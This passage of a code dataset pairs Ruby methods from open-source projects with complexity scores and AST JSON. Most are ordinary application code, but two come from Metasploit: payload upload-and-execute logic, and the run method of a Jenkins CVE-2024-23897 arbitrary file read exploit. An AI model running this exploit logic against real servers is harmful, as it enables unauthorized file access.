\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_exe\"]},{\"type\":\"lvasgn\",\"children\":[\"pl_exe\"]}]},{\"type\":\"send\",\"children\":[null,\"setup_payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[null,\"create_file\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]},{\"type\":\"lvar\",\"children\":[\"payload_exe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pl\",{\"type\":\"send\",\"children\":[null,\"upload_payload\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]},{\"type\":\"lvar\",\"children\":[\"pl_exe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"dump_payload\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]},{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"pl\"]}]},{\"type\":\"send\",\"children\":[null,\"close_file\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"osx\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chmod +x \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_exe\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_exe\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}","id":"4f3ad8bc-4157-4654-b96f-8a923b21f3b0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/groups/set_attributes_service.rb","start_line":72,"raw_source":"def mark_outdated_users(removed_user_ids)\n      removed_user_ids.each do |id|\n        model.group_users.find { |gu| gu.user_id == id }&.mark_for_destruction\n      end\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_outdated_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"removed_user_ids\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_user_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"group_users\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gu\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gu\"]},\"user_id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},\"mark_for_destruction\"]}]}]}","id":"dac53b79-b0a8-4943-bb22-90080efa3324"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget.rb","start_line":614,"raw_source":"def content_option_generator\n    @content_option_generator ||= MiqWidget::ContentOptionGenerator.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"content_option_generator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@content_option_generator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqWidget\"]},\"ContentOptionGenerator\"]},\"new\"]}]}]}","id":"134dff38-3d00-4006-abaf-2e277aa4eb71"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20190611102309_add_constraints_to_podcasts.rb","start_line":2,"raw_source":"def up\n    change_table :podcasts do |t|\n      t.change :main_color_hex, :string, null: false\n      t.change :title, :string, null: false\n      t.change :image, :string, null: false\n      t.change :slug, :string, null: false\n      t.change :feed_url, :string, null: false\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"podcasts\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"main_color_hex\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"image\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"feed_url\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"6caeb0e9-1466-43af-8582-ee976037bacf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/milestones_controller.rb","start_line":126,"raw_source":"def group_projects_with_access\n    group_projects_with_subgroups.with_issues_or_mrs_available_for_user(current_user)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"group_projects_with_access\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_projects_with_subgroups\"]},\"with_issues_or_mrs_available_for_user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}","id":"c109d2a5-fa3e-43af-b5b6-634fc9fabdcf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/lock_recorder.rb","start_line":41,"raw_source":"def clear\n        locks.clear\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"clear\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"locks\"]},\"clear\"]}]}","id":"8bdd07fd-98dd-4788-8568-18b9b5cab711"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":205,"raw_source":"def date_stat_hash(stat)\n        stat_hash = {}\n        dates = @start_date.downto(@start_date - @days_previous + 1).map { |date|\n          date.strftime(\"%Y-%m-%d\")\n        }\n\n        keys = dates.map { |datestr| \"stat:#{stat}:#{datestr}\" }\n\n        Sidekiq.redis do |conn|\n          conn.mget(keys).each_with_index do |value, idx|\n            stat_hash[dates[idx]] = value ? value.to_i : 0\n          end\n        end\n\n        stat_hash\n      end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"date_stat_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stat_hash\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"dates\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@start_date\"]},\"downto\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@start_date\"]},\"-\",{\"type\":\"ivar\",\"children\":[\"@days_previous\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dates\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"datestr\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stat:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datestr\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"mget\",{\"type\":\"lvar\",\"children\":[\"keys\"]}]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat_hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dates\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"idx\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"stat_hash\"]}]}]}","id":"bf45dae9-0d6d-4ddd-b996-99c0361c9408"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/undo.rb","start_line":72,"raw_source":"def undo_announce\n    return if object_uri.nil?\n\n    status   = Status.find_by(uri: object_uri, account: @account)\n    status ||= Status.find_by(uri: @object['atomUri'], account: @account) if @object.is_a?(Hash) && @object['atomUri'].present?\n\n    if status.nil?\n      delete_later!(object_uri)\n    else\n      RemoveStatusService.new.call(status)\n    end\n  end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"undo_announce\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_uri\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"object_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"atomUri\"]}]},\"present?\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"atomUri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"delete_later!\",{\"type\":\"send\",\"children\":[null,\"object_uri\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RemoveStatusService\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}","id":"25b5f724-3153-4abb-b219-8eedad2feee7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.rb","start_line":228,"raw_source":"def run\n    uuid = SecureRandom.uuid\n\n    print_status(\"Sending requests with UUID: #{uuid}\")\n\n    # Looking over the python PoCs, they all include threading however\n    # the writeup, and PoCs don't mention a timing component.\n    # However, during testing it was found that the two requests need to\n    # hit the server nearly simultaneously, with the 'download' one hitting\n    # first. During testing, even a .1 second slowdown was too much and\n    # the server resulted in a 500 error. So we need to thread these to\n    # execute them fast enough that the server gets both in rapid succession\n\n    use_pad = false\n    threads = []\n    threads << framework.threads.spawn('CVE-2024-23897', false) do\n      upload_request(uuid, multi_line_file: use_pad) # try single line file first since we get an error if we have more content to get\n    end\n    threads << framework.threads.spawn('CVE-2024-23897', false) do\n      download_request(uuid)\n    end\n\n    threads.map do |t|\n      t.join\n    rescue StandardError\n      nil\n    end\n\n    # we got an error that means we need to pad out our value, so rerun with pad\n    if @content_body && @content_body.include?('ERROR: You must authenticate to access this Jenkins.')\n      print_status('Re-attempting with padding for single line output file')\n      use_pad = true\n      threads = []\n      threads << framework.threads.spawn('CVE-2024-23897-upload', false) do\n        upload_request(uuid, multi_line_file: use_pad)\n      end\n      threads << framework.threads.spawn('CVE-2024-23897-download', false) do\n        download_request(uuid)\n      end\n\n      threads.map do |t|\n        t.join\n      rescue StandardError\n        nil\n      end\n    end\n\n    if @content_body\n      process_result(use_pad)\n    else\n      print_bad('Exploit failed, no exploit data was successfully returned')\n    end\n  end","complexity_score":57.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uuid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending requests with UUID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"use_pad\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"threads\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"threads\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"CVE-2024-23897\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"upload_request\",{\"type\":\"lvar\",\"children\":[\"uuid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multi_line_file\"]},{\"type\":\"lvar\",\"children\":[\"use_pad\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"threads\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"CVE-2024-23897\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"download_request\",{\"type\":\"lvar\",\"children\":[\"uuid\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"join\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@content_body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@content_body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"ERROR: You must authenticate to access this Jenkins.\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Re-attempting with padding for single line output file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"use_pad\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"threads\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"threads\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"CVE-2024-23897-upload\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"upload_request\",{\"type\":\"lvar\",\"children\":[\"uuid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multi_line_file\"]},{\"type\":\"lvar\",\"children\":[\"use_pad\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"threads\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"CVE-2024-23897-download\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"download_request\",{\"type\":\"lvar\",\"children\":[\"uuid\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"join\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@content_body\"]},{\"type\":\"send\",\"children\":[null,\"process_result\",{\"type\":\"lvar\",\"children\":[\"use_pad\"]}]},{\"type\":\"send\",\"children\":[null,\"print_bad\",{\"type\":\"str\",\"children\":[\"Exploit failed, no exploit data was successfully returned\"]}]}]}]}]}","id":"3dff86e1-6e17-4888-b9f4-c376be14912d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gem_extensions/active_record/associations/builder/has_one.rb","start_line":11,"raw_source":"def valid_options(options)\n              valid = super\n              valid += [:disable_joins] if options[:disable_joins] && options[:through]\n              valid\n            end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"disable_joins\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"through\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"disable_joins\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"valid\"]}]}]}","id":"4e39a62f-34cb-4bf6-a089-5e93de7b6d34"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todos/destroy/unauthorized_features_service.rb","start_line":34,"raw_source":"def authorized_users\n        ProjectAuthorization.select(:user_id).for_project(project_ids)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectAuthorization\"]},\"select\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"for_project\",{\"type\":\"send\",\"children\":[null,\"project_ids\"]}]}]}","id":"00cdd211-5738-400b-b922-c3f5b1949308"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/config.rb","start_line":343,"raw_source":"def config_file\n    config_directory + FileSep + self['ConfigFile']\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"config_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_directory\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"FileSep\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"str\",\"children\":[\"ConfigFile\"]}]}]}]}","id":"bbe5e0ec-a713-40bc-960e-9c1600db1c66"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type/attribute_groups.rb","start_line":112,"raw_source":"def attribute_groups=(groups)\n    attribute_groups_will_change!\n    self.attribute_groups_objects = to_attribute_group_class(groups)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attribute_groups=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute_groups_will_change!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"attribute_groups_objects=\",{\"type\":\"send\",\"children\":[null,\"to_attribute_group_class\",{\"type\":\"lvar\",\"children\":[\"groups\"]}]}]}]}]}","id":"dd15c3ec-3ab8-4cba-b991-e43f9bbf2d49"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/delete_account_service.rb","start_line":166,"raw_source":"def purge_mentions!\n    @account.mentions.reorder(nil).where.not(status_id: reported_status_ids).in_batches.delete_all\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_mentions!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"mentions\"]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_id\"]},{\"type\":\"send\",\"children\":[null,\"reported_status_ids\"]}]}]}]},\"in_batches\"]},\"delete_all\"]}]}","id":"69776c7c-ffe8-43b8-91ec-63847f7090c9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/shared/working_days.rb","start_line":101,"raw_source":"def working?(date)\n        working_week_day?(date) && working_specific_date?(date)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"working?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"working_week_day?\",{\"type\":\"lvar\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[null,\"working_specific_date?\",{\"type\":\"lvar\",\"children\":[\"date\"]}]}]}]}","id":"5606cc59-df9e-4fd2-9d1b-17a5b94f2846"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/authz/boundary.rb","start_line":5,"raw_source":"def self.for(boundary)\n      strategy_class = case boundary\n                       when ::Group\n                         GroupBoundary\n                       when ::Project\n                         ProjectBoundary\n                       when ::User\n                         UserBoundary\n                       when nil\n                         NilBoundary\n                       end\n\n      strategy_class.new(boundary)\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"boundary\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"strategy_class\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Group\"]},{\"type\":\"const\",\"children\":[null,\"GroupBoundary\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Project\"]},{\"type\":\"const\",\"children\":[null,\"ProjectBoundary\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"User\"]},{\"type\":\"const\",\"children\":[null,\"UserBoundary\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"const\",\"children\":[null,\"NilBoundary\"]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strategy_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"boundary\"]}]}]}]}","id":"cf4c247f-463d-40e3-8a4d-ab08bc70fcbe"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/presenters/html_parser.rb","start_line":16,"raw_source":"def filter_replies!\n    document.xpath('//blockquote').each { |n| n.replace('&gt; ') }\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_replies!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"document\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//blockquote\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"replace\",{\"type\":\"str\",\"children\":[\"&gt; \"]}]}]}]}","id":"62472148-0b29-4fa5-9d28-bd4c6b91ff35"}
